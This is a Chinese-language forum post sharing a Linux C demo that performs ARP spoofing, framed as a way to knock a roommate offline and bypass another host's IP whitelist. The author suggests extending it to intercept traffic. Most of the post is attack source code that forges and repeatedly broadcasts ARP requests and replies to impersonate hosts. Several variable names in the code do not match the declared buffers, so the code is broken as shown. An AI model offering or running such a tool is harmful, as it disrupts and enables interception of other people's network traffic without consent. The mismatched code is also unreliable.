ARP-三方欺骗-打挂你舍友的IP

好久好久没发过帖子啦

只皆因有些懒

又但了好久的白嫖党···

Arp欺骗搞协议的可能对这一块比较熟悉

也是用了这个特性做了个Arp欺骗的小工具

Linux可运行哈

分为A B C三者
A作为本机
B作为C者的“白名单” （想不到形容词了）
C作为A发起欺骗的目标

作用
1、可突破A者白名单限制
2、可将B者踢下线

只是个demo 大家也可以完善一下哈
比如增加收包
A回应B的请求 做一个协议的截断等等等

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <unistd.h>

//获取本机MAC地址，存入mac数组中，要求传入网卡名字
int getMacAddr(unsigned char mac[], const char name[])
{
    struct ifreq ethinfo;
    int sock_fd;

    if (name == NULL || mac == NULL)
    {
        return -1;
    }

    if ((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    {
        perror("Open Socket");
        return -1;
    }

    strcpy(ethinfo.ifr_name, name);

    if (ioctl(sock_fd, SIOCGIFHWADDR, einfo) < 0)
    {
        perror("Ioctl");
        return -1;
    }
    int i;
    for (i = 0; i < 6; ++i)
    {
        mac[i] = (unsigned char)ethinfo.ifr_hwaddr.sa_data[i];
    }

    close(sock_fd);

    return 1;
}
//构建ARP数据包
//自己的mac 
//目标的mac
//自己的ip 
//目标的ip 
//包类型 
//数据
void packarp(unsigned char *mymac, unsigned char *tarmac, int *myip, int *tarip, char *opcode, char *arppack)
{
    char eth_type[2] = {0x00, 0x01}; //硬件类型,以太网为1
    char por_type[2] = {0x08, 0x00}; //ARP正在使用的上层协议类型,这里是IP协议
    char type[2] = {0x08, 0x06};     //帧类型,0x0806表示ARP
    char eth_length = 6;             //硬件地址长度
    char por_length = 4;             //协议地址长度，这里指IP协议

    memset(arppack, 0, 42);               //清空发送缓存区
    memcpy(arppack, tarmac, 6);           //6个字节表示目标主机的mac地址
    memcpy(arppack + 6, mymac, 6);        //6个字节表示源主机的mac地址
    memcpy(arppack + 12, type, 2);        //帧类型,这里表示ARP
    memcpy(arppack + 14, eth_type, 2);    //硬件地址,这里表示以太网
    memcpy(arppack + 16, por_type, 2);    //ARP正在使用的上层协议
    memcpy(arppack + 18, e_length, 1); //硬件地址长度
    memcpy(arppack + 19, &por_length, 1); //协议地址长度
    memcpy(arppack + 20, opcode, 2);      //标记是ARP还是ARP应答
    memcpy(arppack + 22, mymac, 6);       //发送者MAC地址
    memcpy(arppack + 28, myip, 4);        //发送者IP
    if (!(opcode[0] == 0x00 && opcode[1] == 0x01))
    {
        memcpy(arppack + 32, tarmac, 6); //目标MAC地址
    }
    memcpy(arppack + 38, tarip, 4); //目标IP地址
}
//发送arp包
int sendpcak(int fd, struct sockaddr sock, char *sendarp)
{
    socklen_t len = sizeof(sock);
    if (sendto(fd, sendarp, 42, 0, &sock, len) == 42)
    {
        printf("send arp pcak succeed\n");
    }
    else
    {
        perror("sendto");
        return -1;
    }
    return 1;
}
//接受arp包
int recvpcak(int fd, struct sockaddr sock, char *recvarp)
{
    socklen_t len = sizeof(sock);
    if (recvfrom(fd, recvarp, 42, 0, &sock, &len) == 42)
    {
        printf("recv arp pcak succeed\n");
    }
    else
    {
        perror("recvfrom");
        return -1;
    }
    return 1;
}
//获取本机IP
int getipaddr(char *eth_name, char* ip_addr)
{
        int sock;
        struct sockaddr_in sin;
        struct ifreq ifr;
        sock = socket(AF_INET, SOCK_DGRAM, 0);
        if (sock == -1)
        {
                perror("socket");
                return -1;                
        }

        strncpy(ifr.ifr_name, eth_name, IFNAMSIZ);
        ifr.ifr_name[IFNAMSIZ - 1] = 0;
        if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
        {
                perror("ioctl");
                return -1;
        }

        memcpy(&sin, &ifr.ifr_addr, sizeof(sin));
        strcpy(ip_addr, inet_ntoa(sin.sin_addr));        
        return 1;
}
//网卡名字 
//本机IP 
//要伪装的IP 
//要欺骗的IP
int main(int argc, char *argv[])
{

    if (argc < 2)
    {
        printf("Please enter parameters\t\n");
        printf("parameter 1: [ethname]  parameter 2:[simulateip]  variable parameter 3: [dstip]\t\n");
        printf("example 1:./xxx eth1 192.168.74.119 192.168.74.111\t\nexample 2:./xxx eth1 192.168.74.119\t\n");
        return -1;
    }

    unsigned char mymac[6] = {0};                                   //自己的MAC地址
    unsigned char simulatemac[6] = {0};                             //被伪装者MAC地址
    unsigned char dstmac[6] = {0};                                  // 被欺骗者MAC地址
    unsigned char tarmac[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}; //广播的MAC地址
    char send_simulatearp[42] = {0};                                //被伪装的发送ARP包
    char send_simulatearpALL[42] = {0};      //被伪装的发送广播ARP包
    char send_dstarp[42] = {0};              //被欺骗的发送ARP包
    char send_dstarpALL[42] = {0};           //被欺骗的发送广播ARP包
    int simulateip, myip, dstip, sock_fd, Flag,fakemyip;
    char opcode[2] = {0x00, 0x01};         //请求标识
    char opcode_respond[2] = {0x00, 0x02}; //回应标识
        char ip_temp[64]={0};
        char ip_temp1[64]={0};
    struct sockaddr addr;
    memset(&addr, 0, sizeof(addr));
    strncpy(addr.sa_data, argv[1], sizeof(addr.sa_data));
        printf("ethname:%s\n",argv[1]);
        printf("simulateip:%s\n",argv[2]);
    if (argc == 4)
    {
                printf("desip:%s\n",argv[3]);
        dstip = inet_addr(argv[3]);
        Flag = 1;
    }
        if(!getipaddr(argv[1],ip_temp))
        {
                printf("get ip fail");
                return -1;
        }

        strcpy(ip_temp1, ip_temp);
        int templen = strlen(ip_temp1)-1;
        if (ip_temp1[templen] == '4')
    {
        ip_temp1[templen] = '3';
    }
    else
    {
        ip_temp1[templen] = '4';
    }
        fakemyip=inet_addr(ip_temp1);
        myip = inet_addr(ip_temp);
    simulateip = inet_addr(argv[2]);
    //获取本机MAC地址
    if (getMacAddr(mymac, argv[1]) < 0)
    {
        printf("get MAC fail\n");
        return -1;
    }
    int i;
    printf("my MAC：");
    for (i = 0; i < 6; i++)
    {
        printf("%02x ", mymac[i]);
    }
    printf("\n");
    packarp(mymac, tarmac, &fakemyip, &simulateip, opcode, send_arpsimulatearp); //拼接发送给被伪装者IP的arp包 先用自己假IP给他通信 要不然获取它的mac地址可能获取不到
    if (Flag)
    {
        packarp(mymac, tarmac, &myip, &dstip, opcode, send_arpdst); //拼接发送给被欺骗者IP的arp包 这个就无所谓了
    }
    if ((sock_fd = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) < 0)
    {
        perror("Open Socket");
        return EXIT_FAILURE;
    }
    //获取需要的mac地址
        while(1)
        {
                sendpcak(sock_fd, addr, send_arpsimulatearp);
                usleep(50);
        recvpcak(sock_fd, addr, recv_arpsimulatearp);
        if (!memcmp((void *)recv_arpsimulatearp + 28, (void *)send_arpsimulatearp + 38, 4))
        {
            memcpy(simulatemac, recv_arpsimulatearp + 22, 6);
            printf("get simulate mac succeed\n");
            printf("simulate mac:");
            int i;
            for (i = 0; i < 6; i++)
            {
                printf("%02x ", simulatemac[i]);
            }
            printf("\n");
            break;
        }
        }
        sleep(3);
    while (Flag)
    {

                sendpcak(sock_fd, addr, send_arpdst);
                usleep(50);
                recvpcak(sock_fd, addr, recv_arpdst);
                if (!memcmp((void *)recv_arpdst + 28, (void *)send_arpdst + 38, 4))
                {
                        memcpy(dstmac, recv_arpdst + 22, 6);
                        printf("get dst mac succeed\n");
                        printf("dst mac:");
                        int i;
                        for (i = 0; i < 6; i++)
                        {
                                printf("%02x ", dstmac[i]);
                        }
                        printf("\n");
                        break;
                }
    }

    if (Flag)
    {
        packarp(mymac, dstmac, &simulateip, &dstip, opcode_respond, send_dstarp);    //把自己包装成 被伪装者的IP  发送给 被欺骗者
        packarp(mymac, tarmac, &simulateip, &dstip, opcode, send_dstarpALL); // 发送给被欺骗者 广播 自己的IP是被伪装者

        packarp(mymac, simulatemac, &dstip, &simulateip, opcode_respond, send_simulatearp); // 把自己包装成 被欺骗者的IP 发送给 被伪装者
        packarp(mymac, tarmac, &dstip, &simulateip, opcode, send_simulatearpALL);   // 广播 自己是 被伪装者

    }
    else
    {
        packarp(mymac, simulatemac, &simulateip, &myip, opcode, send_simulatearp_1);
    }
        printf("------ official start ------\t\n");
    while (1)
    {

        if (Flag)
        {
            sendpcak(sock_fd, addr, send_dstarp);
                        usleep(200);
            sendpcak(sock_fd, addr, send_dstarpALL);
                        usleep(200);
                        sendpcak(sock_fd, addr, send_simulatearp);
                        usleep(200);
                        sendpcak(sock_fd, addr, send_simulatearpALL);
                        sleep(25);

        }
        else
        {
            sendpcak(sock_fd, addr, send_simulatearp_1);
            usleep(200);
            recvpcak(sock_fd, addr, recv_simulatearp);
                        sleep(25);
        }

    }

    close(sock_fd);

    return EXIT_SUCCESS;
}